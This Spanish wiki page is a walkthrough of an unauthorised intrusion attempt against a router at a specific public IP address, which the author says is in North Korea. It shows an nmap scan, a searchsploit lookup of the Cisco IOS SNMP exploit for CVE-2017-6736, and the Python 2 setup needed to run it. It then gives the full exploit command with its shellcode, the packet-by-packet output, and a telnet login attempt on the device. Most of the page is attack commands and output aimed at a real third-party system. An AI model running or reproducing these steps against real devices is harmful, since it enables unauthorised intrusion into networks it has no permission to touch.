Herramientas de usuario

Herramientas del sitio


norcorea:exploits:cve-2017-6736

Buenas tardes, hoy voy a intentar entrar en un router de Corea del Norte, espero que te guste y aprendas

Primero hacemos un escaner al host y vemos lo que tiene
-sV: Información de servicio, versión
-O: Detección de sistema operativo
-Pn: No realizamos descubrimiento de host mediante ping porque ya sabemos que está activo, si no ponemos ésta opción y el host no responde a pings, nmap no continuará con el escaneo

kp@dictadura:$ sudo nmap -sV -O -Pn 175.45.178.129
[sudo] contraseña para kp:            
Starting Nmap 7.80 ( https://nmap.org ) at 2025-02-11 19:31 CET
Nmap scan report for 175.45.178.129
Host is up (0.32s latency).
Not shown: 996 closed ports
PORT    STATE    SERVICE     VERSION
22/tcp  open     ssh         Cisco SSH 1.25 (protocol 1.99)
23/tcp  open     telnet      Cisco router telnetd
25/tcp  filtered smtp
139/tcp filtered netbios-ssn
Device type: WAP|router
Running: Cisco IOS 12.X, Cisco IOS XE
OS CPE: cpe:/h:cisco:aironet_ap1250 cpe:/o:cisco:ios:12.4 cpe:/o:cisco:ios_xe
OS details: Cisco Aironet 1250 WAP (IOS 12.4) or IOS XE
Service Info: OS: IOS; Device: router; CPE: cpe:/o:cisco:ios
 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.47 seconds
kp@dictadura:$ 

Después, con searchsploit (aquí tienes el tutorial de como instalarlo) buscamos la vulnerabilidad más apropiada

kp@dictadura:$ searchsploit -p 43450
  Exploit: Cisco IOS - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/43450
     Path: /opt/exploitdb/exploits/hardware/remote/43450.py
    Codes: CVE-2017-6736, CISCO-SA-20170629-SNMP
 Verified: False
File Type: Python script, ASCII text executable
Copied EDB-ID #43450's path to the clipboard
kp@dictadura:$ 

copiamos y renombramos el exploit al directorio actual
kp@dictadura:$
cp /opt/exploitdb/exploits/hardware/remote/43450.py ./43450_pyton2.py

Editamos el exploit (es un script, un fichero) y leemos las instrucciones

vim 43450_pyton2.py (vim es un editor de textos)

El siguiente comando sirve para ver la versión exacta del firmware del router (y viene en las instrucciones del exploit)

kp@dictadura:$ snmpget -v 2c -c public 175.45.178.129 1.3.6.1.2.1.1.1.0
Timeout: No Response from 175.45.178.129.
kp@dictadura:$

No obtenemos ningún resultado, no sabemos la versión, continuamos con el exploit a ver si hay suerte y tiene ese firmware

El exploit está escrito en python2, no van a funcionar algunas líneas si tenemos python3

Instalamos python2

sudo apt install python2

Descargamos pip para python2

curl -O https://bootstrap.pypa.io/pip/2.7/get-pip.py

Instalamos pip en python2

python2 get-pip.py

Ver módulos instalados en python2

python2 -m pip list

Instalar scapy y termcolor para el exploit

python2 -m pip install scapy
python2 -m pip install termcolor

Al ejecutar el exploit no funcionará por la versión de scapy, instalar la 2.4.5

python2 -m pip install scapy==2.4.5

Ejecutamos el exploit según las instrucciones que proporciona (editar el exploit para verlo)

kp@dictadura:$ sudo -E python2 43450_pyton2.py 175.45.178.129 public 8fb40250000000003c163e2936d655b026d620000000000002d4a821000000008eb60000000000003c1480003694f000ae96000000000000aea00000000000003c1fbfc437ff89a803e0000800000000
[sudo] contraseña para kp:            
Writing shellcode to 0x8000f000
.
Sent 1 packets.
0x8000f0a4:	8fb40250
.
Sent 1 packets.
0x8000f0a8:	00000000
.
Sent 1 packets.
0x8000f0ac:	3c163e29
.
Sent 1 packets.
0x8000f0b0:	36d655b0
.
Sent 1 packets.
0x8000f0b4:	26d62000
.
Sent 1 packets.
0x8000f0b8:	00000000
.
Sent 1 packets.
0x8000f0bc:	02d4a821
.
Sent 1 packets.
0x8000f0c0:	00000000
.
Sent 1 packets.
0x8000f0c4:	8eb60000
.
Sent 1 packets.
0x8000f0c8:	00000000
.
Sent 1 packets.
0x8000f0cc:	3c148000
.
Sent 1 packets.
0x8000f0d0:	3694f000
.
Sent 1 packets.
0x8000f0d4:	ae960000
.
Sent 1 packets.
0x8000f0d8:	00000000
.
Sent 1 packets.
0x8000f0dc:	aea00000
.
Sent 1 packets.
0x8000f0e0:	00000000
.
Sent 1 packets.
0x8000f0e4:	3c1fbfc4
.
Sent 1 packets.
0x8000f0e8:	37ff89a8
.
Sent 1 packets.
0x8000f0ec:	03e00008
.
Sent 1 packets.
0x8000f0f0:	00000000
Jump to shellcode? [yes]: yes
.
Sent 1 packets.
Jump taken!
kp@dictadura:$ telnet 175.45.178.129
Trying 175.45.178.129...
Connected to 175.45.178.129.
Escape character is '^]'.
 
 
User Access Verification
 
Username: 
Username: 
Username: 
Username: admin
Password: 
% Login invalid
 
Username: 

El exploit funciona pero no consigue el acceso sin que pongas usuario y contraseña (que en eso consiste)

Si tienes algo mejor y quieres colaborar ya sabes

norcorea/exploits/cve-2017-6736.txt · Última modificación: 2025/02/11 20:32 por anonimo